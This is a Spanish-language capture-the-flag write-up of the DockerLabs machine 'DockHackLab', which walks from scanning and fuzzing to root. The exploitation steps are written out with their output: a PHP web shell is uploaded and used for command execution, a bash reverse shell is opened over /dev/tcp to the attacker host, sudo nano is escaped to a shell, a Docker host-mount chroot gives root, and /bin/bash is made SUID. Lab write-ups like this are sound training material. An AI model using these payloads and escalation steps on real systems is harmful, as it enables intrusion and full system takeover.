> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/dockhacklab.md). # DockHackLab TAG -> Dockerlabs | CTF
Datos * **Máquina** -> DockHackLab * **Dificultad** -> Medio * **Creador** -> [firstatack](https://firstatack.github.io/)
Como parte del reconocimiento inicial, verificamos la conectividad con la máquina objetivo mediante el comando `ping`. ```bash ❯ ping -c 1 172.17.0.2 -R PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data. 64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.134 ms RR: 172.17.0.1 172.17.0.2 172.17.0.2 172.17.0.1 --- 172.17.0.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.134/0.134/0.134/0.000 ms ``` No se perdió ningún paquete, por lo que confirmamos la conectividad con el objetivo. El TTL de 64 es habitual en sistemas Linux, aunque no permite identificar el sistema operativo con certeza, ya que depende del valor inicial y de los saltos de red. A continuación, creamos las carpetas de trabajo con `mkt` y realizamos un escaneo inicial. ```bash ❯ PortScanner -i 172.17.0.2 -t 100 -s 1 -a V C -o recognition.txt [+] Autor: Anonymous17 [+] Targeted: 172.17.0.2 [+] (TTL -> 64): Linux [!] Escaneo de puertos (netcat): [!] Puerto 22 abierto! [!] Puerto 80 abierto! [+] Port: 100 / 100 [+] Lista de puertos abiertos: [22, 80] [+] Información de servicios y versiones: [+] 22/tcp ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0) [+] 80/tcp http Apache httpd 2.4.58 ((Ubuntu)) [+] Comprobando vulnerabilidades: [+] SSH parece seguro contra enumeración de usuarios [+] Tecnologías detectadas en HTTP: http://172.17.0.2:80 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], Title[Apache2 Ubuntu Default Page: It works], [*] Evidencia guardada en recognition.txt ``` El primer escaneo identifica dos puertos abiertos: el `22` (SSH) y el `80` (HTTP). Continuamos con `nmap` para obtener información más detallada sobre los servicios y sus versiones. ```bash ❯ nmap -sCV -p 22,80 172.17.0.2 -oN targeted.txt Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 10:27 EST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 172.17.0.2 Host is up (0.0012s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 9a:a2:73:65:c5:4f:dd:36:57:7c:53:f6:98:82:96:04 (ECDSA) |_ 256 c5:f4:bf:93:53:a3:8b:78:0c:8a:b2:fa:30:5b:b3:1b (ED25519) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-server-header: Apache/2.4.58 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.74 seconds ``` Este primer escaneo con `nmap` identifica los servicios y sus versiones, pero no aporta indicios evidentes de una vulnerabilidad explotable. ```bash ❯ nmap -A --script http-headers 172.17.0.2 -oX xml -oN targeted_A.txt Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 10:29 EST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 172.17.0.2 Host is up (0.0047s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) | http-headers: | Date: Sun, 13 Oct 2024 15:29:26 GMT | Server: Apache/2.4.58 (Ubuntu) | Last-Modified: Fri, 12 Jul 2024 22:54:52 GMT | ETag: "29af-61d14c4688700" | Accept-Ranges: bytes | Content-Length: 10671 | Vary: Accept-Encoding | Connection: close | Content-Type: text/html | |_ (Request type: HEAD) |_http-server-header: Apache/2.4.58 (Ubuntu) MAC Address: 02:42:AC:11:00:02 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|storage-misc Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), Synology DiskStation Manager 5.X (88%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2 Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.4 (97%), Linux 5.0 - 5.5 (95%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%), Linux 3.4 - 3.10 (91%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.13 (91%), Linux 2.6.39 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 4.73 ms 172.17.0.2 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.99 seconds ``` El segundo escaneo aporta información adicional sobre las cabeceras HTTP y sugiere que el sistema es Linux, aunque la detección del sistema operativo no es concluyente: el propio resultado de Nmap advierte sobre las limitaciones de la prueba. Al visitar el sitio web, encontramos la página predeterminada de Apache. ```bash ❯ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --threads 200 --status-codes 200,302,301,401 --no-recursion ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://172.17.0.2 🚀 Threads │ 200 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 👌 Status Codes │ [200, 302, 301, 401] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🚫 Do Not Recurse │ true ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 200 GET 22l 105w 5952c http://172.17.0.2/icons/ubuntu-logo.png 200 GET 363l 961w 10671c http://172.17.0.2/ 301 GET 9l 28w 312c http://172.17.0.2/hackademy => http://172.17.0.2/hackademy/ [####################] - 3m 220554/220554 0s found:3 errors:346 [####################] - 3m 220548/220548 1058/s http://172.17.0.2/ ``` Mediante *fuzzing* encontramos el directorio `hackademy`, que dispone de una función para subir archivos. **Wappalyzer** indica que la aplicación utiliza PHP. Para comprobar si el servidor ejecuta archivos PHP cargados por los usuarios, subimos en este laboratorio un archivo de prueba llamado `cmd.php`. La página confirma la subida e indica que ha modificado el nombre original, anteponiendo una secuencia de caracteres. El archivo `cmd.php` contiene el siguiente código de prueba: ```php ``` Como el servidor modifica el nombre del archivo, necesitamos localizar la ruta resultante. Inicialmente utilizo `directory-list-2.3-medium.txt`, pero después observo que el mensaje de la aplicación representa el prefijo añadido mediante tres caracteres `x`. Por ello, genero con `crunch` una lista de combinaciones de tres letras para probar posibles nombres del archivo. {% hint style="info" %} ¿Cómo se utiliza `crunch`? * **Ejemplo**: crunch \ \ \[\] \[options] {% endhint %} ```bash ❯ crunch 3 3 abcdefghijklmnñopqrstuvwxyz -o combinaciones.txt Notice: Detected unicode characters. If you are piping crunch output to another program such as john or aircrack please make sure that program can handle unicode input. Do you want to continue? [Y/n] Crunch will now generate the following amount of data: 80919 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 19683 crunch: 100% completed generating output ❯ ll .rwxr-xr-x victor victor 33 B Fri Jun 21 11:56:18 2024  cmd.php .rw-r--r-- root root 79 KB Sun Oct 13 10:57:01 2024  combinaciones.txt .rwxr-xr-x victor victor 330 B Tue Oct 1 12:37:10 2024  rshell.php ❯ wc -l combinaciones.txt 19683 combinaciones.txt ``` El comando genera **19 683 combinaciones** de tres caracteres. Ahora utilizamos esa lista para buscar el archivo renombrado mediante *fuzzing*. ```bash ❯ ffuf -c -w combinaciones.txt -u "http://172.17.0.2/hackademy/FUZZ_cmd.php" -t 14 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://172.17.0.2/hackademy/FUZZ_cmd.php :: Wordlist : FUZZ: /root/CTF/Dockerlabs/dockhacklab/content/combinaciones.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 14 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ klp [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 48ms] :: Progress: [19683/19683] :: Job [1/1] :: 432 req/sec :: Duration: [0:00:42] :: Errors: 0 :: ``` La enumeración identifica una ruta con el prefijo `klp` que devuelve el código HTTP **500**. Ese estado indica un error del servidor y no demuestra por sí solo su causa. Sin embargo, al proporcionar el parámetro `cmd` mediante la URL `http://172.17.0.2/hackademy/klp_cmd.php?cmd=id`, obtenemos `uid=33(www-data) gid=33(www-data) groups=33(www-data)`. Esto confirma que el archivo PHP ejecuta comandos con los permisos de `www-data`. En el laboratorio continuamos comprobando el alcance de esta ejecución. ```bash ❯ bat /home/victor/Programación/Python/ReverseShell/nota_2.txt -l java ───────┬──────────────────────────────────────────────────────────────────── │ File: /home/victor/Programación/Python/ReverseShell/nota_2.txt ───────┼──────────────────────────────────────────────────────────────────── 1 │ # Reverse shell 2 │ 3 │ -> bash -i >& /dev/tcp/IP_ATACANTE/PUERTO 0>&1 4 │ -> bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/PUERTO 0>&1' ───────┴─────────────────────────────────────────────────────────────────── ❯ bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1' ❯ urlencode "bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'" [+] bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F172.17.0.1%2F1234+0%3E%261%27 ❯ nc -nlvp 1234 listening on [any] 1234 ... ``` Codificamos la carga útil de shell inversa para incluirla correctamente en la URL y preparamos un listener para recibir la conexión. ```bash ❯ nc -nlvp 1234 listening on [any] 1234 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 42436 bash: cannot set terminal process group (22): Inappropriate ioctl for device bash: no job control in this shell www-data@f2ab538c4c88:/var/www/html/hackademy$ whoami www-data www-data@f2ab538c4c88:/var/www/html/hackademy$ ``` Una vez recibida la conexión y estabilizada la terminal, comprobamos que tenemos acceso al sistema como `www-data`. El siguiente objetivo es analizar posibles vías de escalada de privilegios. **Tratamiento de la TTY:** ```bash script /dev/null -c bash # Lo ejecutamos en la maquina victima ctrl + z stty raw -echo;fg # Lo ejecutamos en nuestra maquina reset xterm # Lo escribimos en la maquina victima stty size # Lo ejecutamos en nuestra maquina para saber nuestras dimensiones ``` Por último, después de comprobar las dimensiones de nuestra terminal, podemos configurar su tamaño y las variables del entorno en la máquina objetivo para mejorar la interacción. ```bash stty rows 46 cols 168 && export TERM=xterm-256color SHELL=bash && source /etc/skel/.bashrc ``` Durante la enumeración básica para la escalada de privilegios encontramos lo siguiente: ```bash www-data@f2ab538c4c88:/var/www/html/hackademy$ whoami www-data www-data@f2ab538c4c88:/var/www/html/hackademy$ ip a 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 8: eth0@if9: mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever www-data@f2ab538c4c88:/var/www/html/hackademy$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 24.04 LTS Release: 24.04 Codename: noble www-data@f2ab538c4c88:/var/www/html/hackademy$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@f2ab538c4c88:/var/www/html/hackademy$ sudo -l Matching Defaults entries for www-data on f2ab538c4c88: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User www-data may run the following commands on f2ab538c4c88: (firsthacking) NOPASSWD: /usr/bin/nano www-data@f2ab538c4c88:/var/www/html/hackademy$ ``` Al ejecutar `sudo -l` desde la cuenta `www-data`, comprobamos que podemos iniciar `/usr/bin/nano` **como el usuario `firsthacking`**, sin contraseña. Esto no implica ejecutar `nano` como `root`. Utilizamos `searchbins` para estudiar si ese permiso permite acceder a una shell con la identidad de `firsthacking`. ```bash ❯ searchbins -b nano -f sudo [+] Binary: nano ================================================================================ [*] Function: sudo -> [https://gtfobins.github.io/gtfobins/nano/#sudo] | sudo nano | ^R^X | reset; sh 1>&0 2>&0 ``` Nos desplazamos a `/tmp` y ejecutamos `nano` con los permisos de `firsthacking`. ```bash www-data@f2ab538c4c88:/home$ cd /tmp/ www-data@f2ab538c4c88:/tmp$ sudo -u firsthacking /usr/bin/nano ``` Una vez dentro de `nano`, utilizamos la combinación `Ctrl + R` y después `Ctrl + X` para acceder a la ejecución de comandos. Introducimos `reset; sh 1>&0 2>&0` y, cuando obtenemos la shell, iniciamos `bash` con la identidad de `firsthacking`. Podemos limpiar la pantalla con `Ctrl + L` y ejecutar de nuevo `sudo -l` para examinar los permisos de esta cuenta. ```bash firsthacking@f2ab538c4c88:/tmp$ sudo -l Matching Defaults entries for firsthacking on f2ab538c4c88: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User firsthacking may run the following commands on f2ab538c4c88: (ALL) NOPASSWD: /usr/bin/docker firsthacking@f2ab538c4c88:/tmp$ ``` La salida de `sudo -l` muestra que `firsthacking` puede ejecutar `/usr/bin/docker` **como `root` y sin contraseña**. Consultamos `searchbins` para investigar las implicaciones de este permiso en la escalada de privilegios. ```bash ❯ searchbins -b docker -f sudo [+] Binary: docker ================================================================================ [*] Function: sudo -> [https://gtfobins.github.io/gtfobins/docker/#sudo] The resulting is a root shell. | sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh ``` El comando mostrado inicia un contenedor de Docker con privilegios suficientes para montar el sistema de archivos raíz del objetivo dentro de `/mnt`. Después utiliza `chroot` para acceder a ese sistema de archivos. La imagen `alpine` es una opción ligera para realizar esta prueba; sin embargo, al intentar consultar las imágenes disponibles, obtenemos un mensaje inesperado. ```bash firsthacking@f2ab538c4c88:/tmp$ docker images Fijate que hay algo esperando a que llames 12345 54321 24680 13579 De nada servira si no llamas antes firsthacking@f2ab538c4c88:/tmp$ ``` Además del mensaje anterior, al ejecutar el binario real de Docker obtenemos un error de conexión con el daemon. Esto puede deberse a que el servicio no esté activo o no resulte accesible en ese momento. ```bash firsthacking@f2ab538c4c88:/tmp$ sudo /usr/bin/docker ps Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? firsthacking@f2ab538c4c88:/tmp$ ``` Al revisar el directorio personal de `firsthacking`, encontramos lo siguiente: ```bash firsthacking@f2ab538c4c88:~$ ls -la total 20 drwxr-x--- 1 firsthacking firsthacking 118 Oct 14 02:59 . drwxr-xr-x 1 root root 36 Jul 13 08:57 .. -rw------- 1 firsthacking firsthacking 5 Oct 14 02:59 .bash_history -rw-r--r-- 1 firsthacking firsthacking 220 Jul 13 08:57 .bash_logout -rw-r--r-- 1 firsthacking firsthacking 3941 Jul 15 03:50 .bashrc drwx------ 1 firsthacking firsthacking 40 Jul 13 09:52 .cache -rw-rw-r-- 1 firsthacking firsthacking 40 Jul 15 03:53 .docker drwxrwxr-x 1 firsthacking firsthacking 10 Jul 15 03:51 .local -rw-r--r-- 1 firsthacking firsthacking 807 Jul 13 08:57 .profile firsthacking@f2ab538c4c88:~$ cat .docker que utiles son las funciones del bashrc firsthacking@f2ab538c4c88:~$ ``` Ahora entendemos por qué el comando `docker` mostraba un mensaje distinto del esperado: en `.bashrc` existe una función de Bash llamada `docker` que tiene prioridad al invocar ese nombre en la shell. Esta función imprime el mensaje y oculta el comportamiento habitual del cliente Docker. Al ejecutar `/usr/bin/docker` directamente, evitamos dicha función. ```bash function docker() { echo "Fijate que hay algo esperando a que llames" echo -e "\n 12345 54321 24680 13579 \n" echo -e "De nada servira si no llamas antes" } ``` El mensaje y la secuencia numérica sugieren que podría ser necesario utilizar **port knocking** para habilitar el acceso al servicio. {% hint style="info" %} El **port knocking** es una técnica de control de acceso que puede activar una regla de red o una acción preconfigurada después de recibir intentos de conexión a una secuencia determinada de puertos. Esos puertos pueden permanecer cerrados durante el proceso. Entre las herramientas relacionadas con estas técnicas se encuentran `knockd` y `fwknop`, aunque existen otras alternativas. Sus mecanismos de funcionamiento no son necesariamente idénticos. {% endhint %} Desde nuestra terminal enviamos la secuencia de intentos de conexión indicada en la pista: ```bash ❯ knock 172.17.0.2 12345 54321 24680 13579 -v hitting tcp 172.17.0.2:12345 hitting tcp 172.17.0.2:54321 hitting tcp 172.17.0.2:24680 hitting tcp 172.17.0.2:13579 ``` A continuación, comprobamos si el daemon de Docker ya está disponible: ```bash firsthacking@aeddeb7cb610:/var/www/html/hackademy$ sudo /usr/bin/docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES ``` La conexión con Docker ya funciona. Continuamos la escalada aprovechando el permiso concedido sobre `/usr/bin/docker`. ```bash firsthacking@aeddeb7cb610:/var/www/html/hackademy$ sudo /usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 43c4264eed91: Pull complete Digest: sha256:beefdbd8a1da6d2915566fde36db9db0b524eb737fc57cd1367effd16dc0d06d Status: Downloaded newer image for alpine:latest # whoami root ``` Aunque `whoami` devuelve `root`, seguimos ejecutando la shell dentro de un contenedor Docker. La orden `chroot /mnt` cambia el directorio raíz aparente al sistema de archivos montado, pero no nos traslada automáticamente a los espacios de nombres de red y procesos del objetivo. Por eso `hostname -I` muestra una dirección IP distinta. ```bash # bash groups: cannot find name for group ID 11 To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. root@e97a77fa43ab:/# hostname -I 172.18.0.2 root@e97a77fa43ab:/# ``` Para demostrar el alcance de los privilegios obtenidos en este laboratorio, activamos el bit **SUID** del ejecutable `/bin/bash` ubicado en el sistema de archivos montado. Es una modificación de seguridad importante: permite que determinadas ejecuciones del binario conserven privilegios elevados. ```bash root@e97a77fa43ab:/# chmod u+s /bin/bash root@e97a77fa43ab:/# exit exit # exit firsthacking@aeddeb7cb610:/var/www/html/hackademy$ hostname -I 172.18.0.1 172.17.0.2 firsthacking@aeddeb7cb610:/var/www/html/hackademy$ bash -p bash-5.2# whoami root bash-5.2# hostname -I 172.18.0.1 172.17.0.2 bash-5.2# ``` Salimos del contenedor y, desde la sesión del objetivo, ejecutamos `bash -p` para conservar los privilegios efectivos proporcionados por el bit SUID. La comprobación con `whoami` devuelve `root`, con lo que damos por completada la máquina **DockHackLab**.